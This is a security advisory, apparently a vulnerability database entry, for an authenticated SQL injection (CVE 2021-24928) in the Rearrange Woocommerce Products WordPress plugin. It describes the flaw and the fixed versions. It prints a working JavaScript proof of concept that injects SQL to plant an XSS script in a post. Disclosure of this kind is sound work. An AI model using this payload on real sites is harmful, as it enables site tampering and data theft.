Rearrange Woocommerce Products < 3.0.8 – Subscriber+ SQL Injection | CVE 2021-24928

Description

The plugin does not have proper access controls in the save_all_order AJAX action, nor validation and escaping when inserting user data in SQL statement, leading to an SQL injection, and allowing any authenticated user, such as subscriber, to modify arbitrary post content (for example with an XSS payload), as well as exfiltrate any data by copying it to another post.

SQLi was fixed in 3.0.5, proper authorisation and CSRF checks were added in 3.0.8

Proof of Concept

As a subscriber, run the below command in the web developer console of the browser

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": new URLSearchParams({"action":"save_all_order","sort_orders[1]":"' THEN 1 END), post_content=FROM_BASE64('PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=') where id=811 -- g"}),
  "method": "POST",
  "credentials": "include"
})
  .then(response => response.text())
  .then(data => console.log(data));

This will put an XSS payload (<script>alert(1);</script>) in the post with the ID 811